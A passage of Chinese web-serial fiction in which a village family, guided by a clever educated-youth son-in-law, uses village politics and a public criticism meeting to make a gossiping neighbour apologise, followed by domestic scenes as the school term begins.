为了原本占理是他们,不能为了一时意气用事,游雾州在门口将人拦了下来,他想让人都散了,但又想到看戏的人正到了高潮转折点,估计没人愿意离开。 院子里还有个半躺着的柳来娣。 游雾州有些头痛的把余阿娘手里的棍子扔了,去拿余银手里的棍子时,她攥得很紧,一点都不想松手。 “听话啊。”游雾州低声哄道:“先松开,家里棍子多的是,不急这一会儿。” 余银这才不情不愿松开手,看着棍子被游雾州扔了后,她不解道:“为什么不让我俩去啊。” 余阿娘也看着游雾州,同样的一脸不解。 游雾州抬眸望了望一院子的人,他无奈地扯了扯唇角,说道:“人太多了,咱们去堂屋里把门锁上说吧。” 余阿娘没明白,她看向余银。余银也摇了摇头,但她问了游雾州一句,“你能收拾王大花吗?” “不知道。”游雾州叹了口气,无奈道:“但你们这样过去,会给咱哥和阿舅带来麻烦。” 一听这话,余阿娘和余银扭头就走了,游雾州还没反应过来,她们这是又回去拿棍子吗? 余银见他没跟上来,回来拉他,“快走啊,你不是要去堂屋说事,站着干嘛啊。” 游雾州:“……” 一院子的人,看着他们三个拿着棍子出去,又把棍子扔了进屋,然后还关上了门。 “他们这是要干嘛啊?咋都进屋去了。” “不知道啊,不是刚才还要拿着棍子去找王大花,要收拾她吗。” “这来娣也就扔着不管了,就这样关门进屋去了?” “不知道啊,这是要弄哪一出啊?” 他们不是要弄哪一出,而是游雾州给他们认真分析了一下,“你们现在要是去王大花家闹上一通,本来咱们占理,但因为你们拿着棍子去人家家里,要是谁你们俩这事,写下来举报到部队怎么办?还有阿舅上面领导呢。” 余阿娘和余银听了没说话,陷入了沉思。 “那要是就这样白白忍下,那余金以后可咋办啊,他本来年纪就不小了,这可咋娶媳妇啊。”余阿娘面露苦涩。 她可不想让儿子的努力,因为她出口恶气,就白白浪费了,但也不想自己这么好的儿子,就被坏了名声。 余银也点了点头,皱着眉道:“你也看得出来,搁这村子名声一坏,哥就不好说亲了。” 她不就是因为游雾州救了落水的她,俩人才结的婚,这柳来娣来家里这么一闹,那说亲的一打听,谁心里不膈应。 凭啥那么多可怜的不闹,就偏偏柳来娣上她家,俩人真没啥事吗? 俗话说,好事不出门,坏事传千里。 本来余家就因为余银落水,名声不太好听,这再来个余金的名声也不好了,不说余金了,还有两个无辜的余庆和虎丫呢。 他俩被无辜连累,以后到了年纪怎么办。 余银越想越觉得憋屈,她张了张口,忍不住道:“我嫁人了,不算余家的人,我自己去狠狠收拾一顿那王大花,这样总不连累他们吧。” 又补充道:“不行我就搬出去,不打她一顿,实在是忍不下这口气,一次又一次欺负到头上,我忍不了了。” 那王大花实在太可恨了,嘴完她还不够,还坏她哥名声,想让她哥要么吃下哑巴亏,要么这辈子说不来媳妇。 游雾州手搭上余银的后背,安抚地替她顺了顺气,“先别急,又不是就只有打她一顿这一种解决办法。你打完她那谣言不还在,你还要被她赖上,而且说到底,你就算嫁人了,也是姓余,这样还有可能再连累阿舅和咱哥。” 他的说不无道理,不可能就这一种办法。余银和余阿娘只是愤怒冲昏了头脑,才有些不理智。 他问余阿娘,“柳支书和柳二老太一家,关系怎么样?” 余阿娘不知道他怎么突然问这个,就说道:“关系也就那样吧,毕竟打断骨头连着筋呢,他们是一家人。” 游雾州沉吟片刻,他眸光微冷道:“咱们不想闹事就是怕连累阿舅和哥,那王婶子倒是一点顾及没有啊,想一出是一出,就是不知道柳支书什么感想,他们也都是都是一家人啊。” “还有咱们村妇女办的张主任和杨同志,她们两个妯娌关系怎么样。” 第64章 第64章狠狠惩治王大花 余银有些出神的盯着眼前跟余阿娘说话的男人。 快正午的太阳是炎热的,阳光从旧木横梁上穿进来,照在紧闭着的堂屋内,明明是又热又闷。 余银却只覺得,一股莫名的寒意从脊椎骨传来,瞬间浮起一层冷汗。 游雾州后面那句话没说透,但余阿娘瞬间就明白了什么意思。 她頓时一喜,“那张红就是因为村里婦女主任的头衔,整天压她那妯娌一头,这要是因为王大花给她婦女主任给弄了,且有得闹。还有那村支书偏心眼,支书也只想让大儿子当,小儿子心里指不定不满意呢。” 余阿娘越看游雾州越喜欢,越看越覺得自己眼光真好,给余银找了这么一个男人。 这城里来的就是不一样,腦子可真好使啊,转的也是真快,这叫那啥,杀人都不见血。 余银也明白游雾州的意思,要是真打一頓出出气,指不定多少麻烦,现在这不用动手,就能想象到王大花被柳家收拾,她那叫一个痛快。 她眼眸微闪,弯了弯唇,问游雾州,“咱啥时候去找柳支书跟张嬸子啊。” 游雾州看了眼余银,对余阿娘说,“我不放便去找张嬸子说,阿娘去跟她说,就算是举报了她也不想管王嬸子,你就说去找她那个在婦 女辦的弟妹,想必她那个弟妹肯定愿意。” 余阿娘递给他一个“我辦事,你就放心吧”的眼神,笑的一臉灿烂把门打开出去了。 游雾州嘴角抽了抽,他覺得余阿娘比他要更了解柳家妯娌之间的事,应该会处理的比他要好。 等余阿娘喜滋滋往外走时,一点不像刚才怒气冲冲,要去收拾王大花的样子,院里看热闹的有些摸不着头腦,她们又探头看了看堂屋里,毫无所动站着的余银和游雾州。 更摸不着头脑了。 这是不准备收拾王大花了? 众人你望望我,我望望你的。 余银望着院里的人,抿了抿唇角,说话也冷了几分,“那来娣就这样躺着啊?” 游雾州看了眼地上的柳来娣,眼眸中闪过一丝凉意,“不管她,门敞开着就行,誰想看直接进来看,畢竟有人在,也丢不了东西。” 柳来娣不是想待着不走嗎,那就让她待着,反正家里没余家人,门也都开着,丢东西的话,柳来娣不是在这嘛。 余银微怔了下,扯了扯游雾州的胳膊,小声道:“那走吧咱们,赶紧去找柳支书去。” 游雾州点头,两人就这么无事发生地从院子里走了出去。 “他们怎么都走了?在屋里都说了啥啊,这就不管了嗎?” “不知道啊,这就让来娣待在这不管了啊?” “对啊,刚才不还要找王大花。这么看着好像没事发生一样啊。” “可不是嘛,那春花看着喜滋滋的,不知道还以为发生啥好事了。” “走吧走吧,都没人了,咱们待这还幹啥啊。”- 余银和游雾州先去村长家,因为游雾州说,村长也是柳家,既然都是一家的,那就多个人,多点助力。 到了村长家,正巧碰上了江窈和柳盼娣也在。 江窈看到余银和游雾州,她直接无视余银,随口叫了声,“余银妹妹。” 而后,转臉对游雾州打了声招呼,怯懦的叫了声,“游哥。” “你们来找村长嗎,他不在家。” “江同志,叫我游同志就好。”游雾州听到她叫自己的称呼时,拧着眉严肃道。 他的眼神一直放在余银身上,而她看起来并没有什么特别的反应。 游雾州拧起的眉心微微松展后又紧紧拧起。 余银此时看他们三个都不怎么顺眼,更是都烦的厉害。尤其江窈整这一出,她搁以前肯定是要还击的,但今她实在有些心不在焉。 她本想扭头就走,但想到家里还躺那赖着不走那位。 余银闭了闭眼,深吸一口气,对柳盼娣道:“你家来娣躺我家地上赖着不走,你赶紧去我家把她弄走。” 江窈见游雾州连个眼神都没给自己,心里有些不舒服,她握紧衣角,听到余银这话,不等柳盼娣开口。 她就先开口说话:“余银妹妹,来娣妹妹怎么会赖在你家不走呢,是不是有什么误会啊,来娣妹妹不是那种蛮不讲理的,说清楚就好了。” 这话什么意思,那柳来娣不是蛮不讲理的,那誰是? 她余银就是了? 江窈是想没事找事吧,还以为她听不出话里的意思,她不想多废口舌,偏偏江窈上赶着来。 余银立马忍也不忍地,夹枪带棒的回击了,“就你江知青人好,就你善解人意,就你心好,你是所有人学习的榜样。你比那济公还要乐善好施,你江知青应该是活济公,赶明也通知一下大家,都别叫你江知青或者江同志臉,直接叫你江济公得了。怎么组织上不给你颁发证书啊,要我说就该跟村长还有大队长提议下,咱们村给你颁个证书,要不别人看不着咱们江知青的好。” “柳来娣我看也不用人大姐盼娣弄走了,就该让你这个活济公去,刚好柳来娣也没地去,你不是活济公吗,给人来娣帮帮忙啊,你可别说你帮不了,你不是活济公吗?” “你,你……”江窈一张脸被说的通红,眼睛也红通通的,眼淚要掉不掉的,咬着下唇,好不可怜的模样啊,看着真招人疼。 余银心里正憋着气没发忍了下去,江窈非要把那恶气勾出来,看着她那楚楚可怜样,想必心里要憋屈死了。 江窈憋屈了,那余银心情就好了一些。 她甩了下头,仰着下巴,颇有点趾高气昂的说:“我怎么了,我说的不对嘛,江济公。我夸你还不成啊,还是说你嫌弃我一个高中畢業的没啥文化,夸不出个花来,不应该啊,你不是个活济公吗,应该不会跟我计较的吧。” 要说她高中畢業的学历,江窈都覺得不满意,那可就有意思了。 这知青点的人,差不多都是高中畢业的,江窈总不能因为余银,就一杆子打死所有人,也得罪那些高中毕业的吧。 江窈听着余银对她的阴阳怪气,气的臉色由红变青紫。 她怎么可能敢说余银一个高中毕业的不行,还给她挖坑让她跳。 江窈不明白,余银的脑子什么时候开始,怎么能转的这么快,而且还会拿话堵她。 碍于游雾水也在,她要维持形象,深吸一口气,扼制住内心的恼火,她碰了碰柳盼娣。 那柳盼娣的嘴,她是见识过的,而且柳盼娣开口回嘴,她还能撇的幹幹净净。 柳盼娣看出来江窈要自己替她说话的意思,要柳盼娣说,余银这嘴是真厉害,她以前怎么没发觉呢,嘴巴叭叭地,骂起人来花样百出地。 这个余银还真有点意思,柳盼娣原以为余银也是个死恋爱脑,人还蠢,但现在看来,这余银有意思地紧。 这么个人游雾州竟然还要离婚,转头跟这个江窈那个蠢货在一起,还真是没福气啊。 她其实不想得罪游雾州,不论他是不是男主,这个人有点怎么说呢,以后肯定是他得罪不起的人物。 余银现在还是人家游雾州的妻子,再怎么说一个男人还是要点面子的。她没必要为了一时口舌之快,而为自己以后的路设置障碍。 柳盼娣轻咳一声,问余银:“来娣咋回事啊,为啥赖你家去了,总不能跟我上次一样吧。” 余银掀眸看她一眼,那眼底意思,可不就是——是不是你教她的。 柳盼娣有些心虚的挪开眼,“那啥,我这就去给来娣弄走。” 说完,柳盼娣就拉着江窈走,江窈还有点不愿意走,一直看着游雾州的方向,眼淚像断了线的珠子,一颗颗的往下掉着。 别说,哭的还挺好看,余银想着。 她的眼淚是怎么做得到呢? “看什么呢?”游雾州见她盯着柳盼娣们离开的方向后,余银还盯着那。 但他也没见到有什么不一样的地方啊,余银到底在看什么。 余银神还没回过来,嘴先开口,“不觉得她哭的很好看吗,那眼泪是怎么一颗一颗落下来的。” “什么眼泪?”游雾州不解,他看了一眼余银的脸,没有看到眼泪啊。 眼泪一颗一颗流下来幹什么。 “没什么。”余银收回视线,语气冷冷,“去找村长吧。” 不等他们去找村长,村长就从外面回来了,毕竟也要吃中午饭了,他回来做饭。 看到游雾州和余银在他家院子,他语气带着点笑意:“你们俩过来有啥事啊,是你舅又让传什么话。” 余阿舅现在时不时会让游雾州,或者余银过来递个话,但以前余银没结婚前不怎么出家门,她就没有来过。 “不是,是找 村长您有点事。”游雾州看着村长,直接开门见山道:“柳支书家的侄媳婦实在是有些咄咄逼人,上次编排我和余银的事情就算了,这次直接编排我大舅哥余金。他人好好的在部队,给咱们杨柳村挣脸面,可有人实在见不得杨柳村好,要是一封举报信送上去,咱们村哪还有安稳日子。” 村长听的虽云里雾里,但游雾州话里的意思,他倒是挺明白一点,余金在部队也代表着他们杨柳村,余金长脸,杨柳村也跟着长脸,余金没脸,杨柳村也同之。 可余金怎么了?给又弄出什么事来了? 村长表情凝重,不由得问一句:“余金出什么事了?那大牛媳妇又编排啥了?” 游雾水没说话,而是看向余银。 “都搅得我们连家都回不了。”余银表情嘲弄,“还想让我们家断子绝孙啊,我大哥就回来几天,除了干活,也没招惹过她王大花,至于把我家往绝路上逼吗?” 她把话说的即严重,又贴合情况。 又是家都回不了,又是断子绝孙和逼上绝路的,让人听了心惊胆战的。 “这……?”村长一顿,有些说不出话来。 好半天,村长才缓缓道,甚至有些不敢相信,“大牛媳妇没这么大胆子吧,会不会是搞错了,上次已经批评教育过她了的。” 村长是真觉得有什么误会,毕竟那大牛媳妇,应该不至于这么有能力,把余家弄成余银口述的样子。 可他还就真猜错了。 游雾水也早料到村长会是这个反应,他嘴角洋溢着淡淡的笑,可眼神却是严肃认真的,“村长,我们所言,确实如是所说,王婶子她实在欺人太甚,有时候她弄出的風言風语,是可以毁掉很多人的,毕竟现在的風言风语大部分都会当真的。” 风言风语可都是直接当真,改评判就评判了,村长是再了解不过的。 游雾州那句,是可以毁了很多人的,他来找自己,那“很多人”也包括自己? 他深想了一下。 村长看着游雾州笑容,心猛地一颤,脸色顿时黑了下来,“大牛媳妇人呢?青云不好处理这事,我来给你们主持公道。” 说着就让他俩往屋里走,游雾州摇头拒绝,语气蕴着凉意,“王婶子不知道在哪里,我想把柳支书请来,毕竟那是柳支书侄媳。” “侄媳”二字他咬的稍微重一点,毕竟村长也是柳家的,不然也不会再上一次偏着柳支书了。 村长的脸又沉了几分,此刻恨不得把王大花立马叫来,并让她以后都闭上嘴,可偏偏上次,他没有把这当回事,柳支书也没当回事。 游雾水这是警告他们,那王大花管不住嘴,后果可都是要他们承担的。 他一个老辈子,让一个小辈给教训了,一时间脸色有些复杂,面对游雾州还要忍着。 村长心里那叫一个憋火啊。 他压着怒气,问游雾州:“还要再叫谁来啊,游知青,余大队长怎么不过来,让你们过来啊。” 游雾州丝毫不畏惧,他对上村长那双饱含怒火的眼睛,勾着唇笑道:“我们去请柳支书来就行。” 余银看着两人有些剑拔弩张的样子,她默默开口道:“我阿舅出去了,我们家游雾州也当家,这是我阿舅说的。” 游雾州有些意外地看了余银一眼,村长被他堵得说不出来话,想训她两句,转念一想余阿舅对余银护着那样,就作罢了。 一码事归一码事,余银这会虽然对游雾州也说不来的烦躁,但毕竟他正在为自家出谋划策,自然是要维护他的。 余银让游雾州去叫的游雾州来,她在这,村长不好对她一个妇人说什么不好听的话,再说了,有余阿舅那层关系在,村长也不敢怎么样。 但游雾州毕竟是知青,也算是靠着余家,他要在这,村长指不定怎么冷嘲热讽他呢。 游雾州脚步很快,柳支书家住的也就两步路距离,很快就来了村长家。 村长的威严不是锅灰糊的,他现在就等于拿着根快要烧到自己的木棍,不能松,又没水,只能对着柳支书身上让火灭了。 “柳大树,看看你那侄媳干的好事,这一天天尽不让人消停,他奶奶的,怎么个事,见不得咱村子里事少点啊。”村长吹胡子瞪眼对着刚进来的柳支书,就是一顿吼啊。 柳支书一个激灵,赶紧道:“咋了队长,大牛媳妇又干啥了。” “咋了,咋了,你就知道说咋了。”村长没好气道,“你不是支书吗。村里出了大事你还要问我咋了,要我说你这个支书能干就干,不能干给小游算了。” 这话一出,几人顿时一惊。 村长话就那么一说,他说完也有些后悔,但又一想,游雾州确实也挺适合的。 可也只是短暂的一想,他指着柳支书的鼻子道:“你那侄媳,大牛的媳妇也太不像话了,编排完余银和游雾州就算了,这又编排上余金了,那余金在哪工作,那代表谁的脸面,她敢胡乱编排。是不是咱们村支书跟村长的位置,她有人选了,想换人啊?” 柳支书听着说的话,只觉得眼前一黑。 谁知道后面游雾州说的话,更是让人眼前一黑。 游雾州看着他们道:“赵家那群人,也是王婶子把人叫来的。” “什么!”村长的手有些哆嗦,“当真?” 柳支书也难以相信,“她当真这么干了?” 余银咬着牙,声音从牙缝里挤出来,一字一字地念着“王大花”三个字。 游雾州点头,“柳盼娣说她看到王婶子半夜不睡觉,往赵家村去。” 他对柳支书道,“我一个小辈不好编排长辈,但王婶子这样下去,支书恐怕也知道现如今的风言风语,意味着什么。我和余银只是个普通人,可是支书村长不一样,大哥余金的身份更不一样。” 他把话说的很明白。 柳支书也明白了村长和游雾州什么意思,他擦了擦额头的汗,保证道:“我回去一定让大牛好好管教她,让她下次不敢再瞎说。” “还有下次呢。”余银翻了个白眼,讽刺道:“这才过去多久,她王大花还想我余家断子绝孙,我看直接给我哥去封信得了,让他往上面一递,早点把自己撇干净,反正连累的人也不是他。” 柳支书当即就一个眼神瞪过去,余银也不甘示弱,呛声道:“怎么,欺负完人,还不人开口说话啊,敢情这组织真是你们柳家啊,难怪王大花这么嚣张,原来背后有人替她撑腰啊。” “余银你说什么呢。”村长遏止道:“我们撑什么腰,群众们都是平等的,谁敢搞阶级那一套,你可不要乱扣帽子。” “可不是啊,余银。”柳支书苦着脸,干笑道:“可不能乱扣帽子,这大牛媳妇这次做的实在过分,肯定会给你们个满意地交代。” “对,肯定会给你们余家一个满意的交代。”村长也附和道。 只要稳住游雾州和余银不去乱说,去给余金写信,怎么着都行啊。 那王大花该怎么样就怎么样,别连累他就行。 “那就傍晚的时候开大会吧,让王婶子在大会上作检讨,给我们道歉,并且澄清她瞎说的话,还我们清白,并且以后都不再犯。”一直没出声的游雾州提议道。 他也不是提议,而是再给村长和柳支书选择。 余银觉得办法好,既能让人知道那谣言都是王大花瞎说的,也能让她狠狠丢人大会上作检讨,就该如此。 村长直接答应,又觉得似是不够,还说道:“没问题,再把大牛家的今年要分的糧食,也赔一些给你们吧。” 柳支书和王大花关系更近一些,见村长都这样说了,他也连忙道:“再把他家秋季分的糧食,也分一些给你们家,好让他们长长记性。” 反正给的不是他们自己家粮食,他们是一点不手软和心疼的。 余银看着他们给的那叫一个痛快,忍不住在心里泛起嘀咕:“还真是没 打在他们身上,不知道疼,这一听说要举报他们,这解决问题那叫一个彻底啊。” 粮食每家几乎都是温饱,要是在分给余银家,那王大花家估计都更不够吃。 她们到时候没饭吃,再跑来余家要粮咋办。 余银着眉,对柳支书和村长道:“那他们没粮食,再跑来我家闹怎么办啊?” “不会。”村长摆手。一脸严肃地说:“必须心服口服接受这个决定,这是她该做的检讨。” 柳支书也认真道:“我会让大牛约束好她,以后不敢再去你家闹事的。” “那让她再写个字据吧。”余银试探道:“她不会写字我们写,让她再摁个手印,这样她才能有束缚,不敢放肆。” 村长和柳支书沉默了,没想到余银想的也太多了,他们看向游雾州,毕竟还是男的当家,这都一直是余银再说。 游雾州全程沉默,他收到村长和柳支书的视线,但对于余银的任何想法决定,都报以赞同。 眼见游雾州不说话,他们只好作罢,柳支书叹气道:“签就签吧,有个字据,大牛媳妇也能更有顾虑点。” 反正也不是他们签字据,只要余银肯罢休这件事,唉,怎么着都行。 余银听到这个回答,冲游雾扬眉道:“你来写,你脑子聪明,写完给村长和支书,再让王大花摁手印。” 村长家里就有纸和笔,游雾州直接在村长家写好。 余银为防他们再忘记了,握拳轻咳一声,“那个,既然都写完了,咱们现在就过去吧,我拿着王大花摁下水印的字据,也心安些。” “这么着急?”村长看了眼时间,说道:“等吃过饭行不。” 第65章 第65章又见周华锦 傍晚等大家吃完饭后以后,都去糧仓前头那一块空地集合,不少人下午都听到了风声,一个二个的吃过饭就赶紧过去了。 有的甚至连锅碗都没刷,在那泡着,生怕去的晚了,找不到一个最佳观赏位置。 等人都到齐了,村长和柳支书叹了声气,村长开始讲话:“那个同志们,今天开大会也没有什么大事啊,主要就是为了咱们以后能发展的更好。” “在这里,我要严重批评王大花同志,她不为咱们群众考虑,心思狭隘,一次又一次败坏余家的名声,说一些不属实的闲话严重影响了余家一家的正常生活,为他们帶来了很多麻烦。” “今天就讓她当着咱们杨柳村所有人的面,给余家人做检讨和道歉,并保证以后一定不再犯,管好自己的嘴巴不乱说。” 说到这里,村长忍不住嘴角抽了抽,当村长这么多年,还是头一次,因为嘴碎被开大会批评的。 真是给他们老柳家“挣臉”啊。 而听了村长的话,众人齐刷刷地看向王大花的方向。 “我勒个乖乖啊,这是特意给王大花开的批斗大会啊,哈哈哈哈。” “真是活该,讓她嘴賤到處乱说,这下好了,以后她再乱说啥,人一看是王大花说的,就知道是那个因为嘴賤被开大会批评的,谁还信她。” “以后看她还乱说话不,讓她嘴贱,逮着人家余家祸害个没完了,真以为人家好欺负啊。” 底下七嘴八舌的,一点都没顾忌地傳进所有人耳朵里。 王大花臉上火辣辣的疼,不止是因为下午挨过打的原因,还有被这么多人指指点点的羞燥。 她也有些恼怒,糧食也要分给余家,还要讓她摁下字据,这个批斗大会竟然还真是特意给她开的。 就因为这个批斗大会,她王大花以后的臉还往哪搁啊,这谁看到她不帶指点两句。 这以后还咋出门啊。 “王大花同志,快上来做检讨,给余家道歉。”柳支书见她还不动脚步,沉着臉对着柳大牛道。 柳大牛推了王大花一把,咬着牙低声道:“赶紧给我上去,还嫌不够丢人。” 王大花猝不及防被一推,一个踉跄往前走了两步。 村民们都帶着探究、幸灾乐祸和鄙夷的目光盯着她。 王大花此刻恨不得找个地缝钻进去,可她还必须要走到前面去。 她低垂着头,试图埋进自己的胸口處,恨不得都没人看到她脸,她也看不到别人,就当作没发生什么事。 等王大花终于走上去后,嘴巴也像被缝住了一样,头也不抬,余阿舅在一旁没吭声,只是轻了咳两声,像是在提醒。 他这一提醒,让柳支书和村长不得不清醒了,也顿时起了一股无名火。 现在知道抬不起头来了,没想过她那些话,让人余家也是这样抬不起头来。 村长绷着脸,“头咋不埋地底下呢你,像什么样子,道歉就要有个道歉的样子,给我抬起头大声的做检讨,那平时不是话挺多,声挺大的,现在知道裝哑巴聋子。” 他说完看向余阿舅,余阿舅对村长的反應,微不可查的点了下头,算是挺满意,就当过去了。 村长的话一点都不留情面,王大花在心里恨不得把村长给骂死了,让她糊弄过去咋了,非要揪着她不放。 王大花后槽牙都快要碎了,她垂着眼看向柳支书,被他恶狠狠地瞪了一眼,压着声音,“别连累我,赶紧给我抬起头来,听到没有。” 王大花一个激灵,猛地抬起头来,她微微侧了一下身子,对着站在前面的余银和余阿娘她们,弯腰鞠了一躬。 她说话还有些哆嗦,“对,对不起,是我,是我嘴贱,乱说瞎话,对不起。” 王大花一边说,一边用手看似动作很大很用力地抽自己嘴巴子,眼神还怯懦地看着余银的方向。 “对不起,对不起,对不起,都是我的错,都是我王大花嘴贱。” 安静的广场上,她道歉和巴掌声犹未清晰,但道歉声更大一些。 见状,余银不由得冷笑,这王大花刚才还唯唯诺诺不敢上来,现在弄这一出,不知道的还以为是被逼的呢。 她说的那些闲言碎语让她们余家抬不起头时,就應该想到会有报應。 真当他们会心甘情愿吃下哑巴亏,不敢闹大啊。 还扇自己,当她余银是傻子啊,扇那几下的声音都不响,裝什么呢。 余银抱着手臂,神色冷漠地看着王大花继续扇,她就不喊停,也不接受,看她王大花真能坚持到几时。 王大花心里叫着苦,这余银怎么能眼看着自己丝毫反應都没呢,她虽然用着力但脸上时收了点,可她的脸还是火辣辣地疼。 也快坚持不下去了。 等到她手终于坚持不住,放下来的时候。 余银勾着唇笑,语气悠悠的开口:“这还是巴掌没落在自己身上,不知道疼啊。” “你,”王大花忍不住瞪向余银,却猝不及防地,与游雾州那一双幽暗的眼眸中带着冷冽的寒意对上。 王大花下意识地被他的眼神吓到,闭上了嘴巴,看着他脸上挂着的笑意,那一颗心脏在胸腔處极小动静地咚咚跳着。 她虽移开视线,但那股恐惧感还是紧紧地围绕着她,就像是你明知道有一条蛇在盯着你,他悄无声息地不做任何举动,但你却不知道什么时候,他会猛然给你一击。 一阵寒意从后背上弥漫开来。 今天的这些事,估计就是游雾州出的主意,余家也就是表面上看着不好惹,其实都是忍气吞声惯了。 他们家没一个能做的这么狠地步的人。 除了那个女婿游雾州,王大花这才意识到,那个游知青远远不如表面上看着的那般和蔼可亲。 况且村长和支书也不护着她了,那余阿舅还是大队长。 王大花打了个哆嗦,也不敢再糊弄了,又郑重真诚的道了歉,说她编排的那些话都是假的,并保证以后再也不瞎说了。 谣言从她嘴里傳出去,也应该从她嘴里澄清,这样才能让人有信服力觉得那些话都是假的。 免得一传十十传百的,事情越传越乱,有的人真会信。 王大花眼睛往上看着,不敢去看底下那些看她笑话的嘴脸。 终于不知道等了多久,她又道了多少歉,大会才结束了,让人都散了。 大会虽然散了,但闹剧没结束。 村民们津津有味地看着柳家的热闹,本来柳大牛一家就没分家,现在又因为王大花,还要把本就不够吃的粮食,再分些给余家。 那其他人能愿意 ,自然是不愿的,还有王大花这在大会上被批评,这不是连累了柳家其他未出嫁的闺女名声吗。 他们要分家。 而柳支书家,大儿媳这个主任的位置现在十分烫屁股,真怕哪天王大花再嘴贱招惹余家,她就完蛋了。 张红此时恨不得掐死王大花,黑着脸摆着妇女主任的位置,在那训她。 广场上吵吵嚷嚷地,那叫一个热闹。 余银看了一会儿伸了个懒腰,打着哈欠跟旁边的人将:“不行了,我困了,要回去睡觉,明天娘你看完了给我讲讲。” 游雾州见状也跟着她一起回去,余阿娘眼睛都不眨的应着,“回吧,回吧,给虎丫和余慶也抱回去吧。” 王桂香也不想回去,但两个小孩眼睛都睁不开了,正好余银要回去。余阿娘都这样说了,她就不客气地把俩小孩交给他俩。 “放床上就行了。” “行。”余银抱着虎丫,游雾州抱着余慶,两个人踩着皎洁的月光往家走- 离开学还有段日子时,杨柳村的村村民们有忙过了一阵,因为天热,种的粮食除了除草以外,还要澆水。 老天爷下不下雨他们管不了的,可地里必须要保证粮食不缺水,这是他们要管得。 就算下过雨,只下一会也不行的,而夏季雨本就稀少,往年都要澆两次的。 今天还好些,比以往多一些雨水,就澆一次地就可以了。 而澆水不必抢收轻松。 每天也是起早贪黑地,基本上每块地都要照顾到,这些都关系着他们自己的粮食,收成好,他们就能多得,收成不好,他们就要挨饿。 而浇地不分白天黑夜的浇,白天因为太阳晒着,浇地的时候要时间久一点,才能把地浇透,晚上没太阳,浇地就快一些。 这次余家一家都没上余银上工,因为地里蛇不少,尤其是抽得河里的水,把蛇都抽地理去了。 上次给余银烧的全家人都担心的不行,这次一致决定不让余银上工了。 余银其实做了那个满是蛇的梦,已经没有原来那么怕了,但想到自己要是再被吓发烧了,还让家里人担心,就也作罢。 她索性在家里给他们做饭,炒菜还是由游雾州回来炒的。 等浇完地,没过几天就开学了,虎丫不到年纪还在家里,而余慶则是跟着游雾州和余银一起去学校。 他不用走路去上学,还是坐着自行车,高兴坏了,开学那天早早地就起来了。 等到都吃完饭了,余银还没起来,余慶坐不住了,他去到余银们屋门口拍着门,“姐,起来了。” 叫了一遍,没听到余银回应他,他又大声的喊,“余银,起床了,都要遲到了,快起床啊!” 余庆生怕因为余银起晚了,还连累自己遲到。 余银穿着整齐坐在屋里,一点都不像是没睡醒的样子。 她其实早就起来了,只是不知道怎么开口,余银觉得自己跟着去学校像什么样子。 她又不是老师,也不是学生的。 听着余庆一声比一声大的叫着她,余银没忍住的应了一声,“知道了,别喊了。” “那你先起来。”余庆不知道她到底起来没,但余银不想起的时候也是这么糊弄的应着。 余银揉了揉额角,把门打开,看着余庆道:“我已经起来了,但我不想跟你们去学校,你跟游雾州一起去吧,不用管我。” “行。”余庆咧着嘴笑,刚准备走,又反应过来,“不对,你为啥不跟我们一起去!” “我不想去,我又不是老师,也不是学生,我去你们学校干嘛啊。” “姑姑,姐夫。”余庆听完,扯着嗓子就大声喊道:“余银不去学校,她要睡觉。” 余银都还没反应过来,张开口刚想说什么,就听到余阿娘扯着嗓子的声音传过来,“必须去,让她赶紧给我起来,是不是要我去请她才能起来啊。” 余阿娘的声音越来越近,人也从前院过来,对余银道:“赶紧走,等会迟到了啊,快点别墨迹时间。” “人家小游今天第一天上班,不能迟到,要给人留个好印象。” 余银叹了口气,“我不想去。” “不去啥不去。”余阿娘过来扯她,“赶紧给我去啊,你多学学小游咋上课的,明年让你阿舅跟那校长说说,让你也去学校上班去。” 余银被她扯着走到门口,游雾州已经在那等着了。 “快走快走,这死丫头就知道睡,别耽误你上班迟到。”余阿娘焦急地说着。 余庆动作敏捷的爬上自行车前面的杠上,余银抿了抿唇,拉着后座也没敢耽误地坐了上去。 毕竟这工作一波三折的,不去学校的事等回家再说,这会还是游雾州上班要紧。 他们其实出发的不晚,又有自行车,很快就到了农场学校。 到学校以后,余庆仰着头看起来神气的不行,往自己的班级去。 游雾州停好车,从兜里拿出雞蛋剥好给余银,“没吃早饭吧,先把这个吃了。” 余银盯着那雞蛋,摇了摇头没接,问他:“这是娘特意给你煮的吧,你自己吃吧。” 游雾州把鸡蛋递她嘴边,“吃吧,娘今天煮了好几个,每个人都有份,这个是你的。” 家里也不缺那一个两个,余阿娘自己苦过,不愿意让孩子每次吃个东西都抠抠索索地,每次都是每个人都有。 不分谁有功谁没功,也不分老人孩子,最多就是有的人多给一点而已。 所以游雾州真没骗她,确实是每个人都有的,只是他有两个,余银因为没起来,她的那个被虎丫吃了。 所以其实游雾州的这个,说是余银的也不算是骗她。 余银接过鸡蛋,她歪头看了眼学校,说道:“我自己在这吃吧,你先去学校里熟悉一下,等会不然真迟到了。” 游雾州把包里装的玻璃瓶递给她,“那我先过去了,等会过来找你。” 余银点了点头,开始吃鸡蛋。 停车的地方在学校里面,游雾州倒也放心的离开了。他进去学校和新来的两个老师,跟着那天来大队的吴老师去领了教材。 又简单熟悉了一下学校,就去到了他所带的班级。 因为他面试那天讲的很不错,学校让他带的五年级。 趁着还没上课的时间,游雾州去停车的地方找余银,问她:“你是想跟我一起去班里,还是想自己在学校转转。” 余银对这学校其实比对游雾州熟悉,她把装水的瓶子给他,说道:“我去镇上转转,给你和余庆买俩冰棍回来。” 反正也没事干,她还不如去镇上玩玩,以前因为赵大脚,她了上学,连家门都不敢出,现在没那么怕了,随性到处转转也挺好。 游雾州想到镇上人多眼杂地,又是上午人多的时候,她去了也出不了什么事,就同意了。 他看了眼自行车,还是有点不放心的说:“你慢点骑啊,别摔倒了。” 开学那前几天,游雾州教了余银怎么骑车,但没让余银自己骑车出去过,实在是有些不放心。 余银也看了那辆。虽然过去一个月了,但依然被保持的很新的自行车,可见是有多爱惜。 她想了下车要是摔着了,忍不住心疼的说:“那要不我走着去吧,不然摔到车了那可咋办啊。” 游雾州看了她几眼,好笑道:“车再贵重,那个也是车,磕着碰着再正常不过。哪比得上人,我说的也是你别摔倒了。” 说完他又补充道:“真要是觉得快摔了,别想着车啊,你人没事就行。” 他是真觉得余银能干出来,觉得不对的情况下怕车摔坏了,宁愿摔到自己也不想车磕着碰着。 余银吐了吐舌头,“知道了。” 没想到游雾州还真猜到了,她想的是就算摔了,也要护着车。 毕竟摔两下又没事,车要坏了,那可是一大把钱啊。 游雾州不放心的又叮嘱道:“记得啊,车摔了没事,你可别想着车。” 余银推着车,装模作样地应着,“知道了,放心吧。” 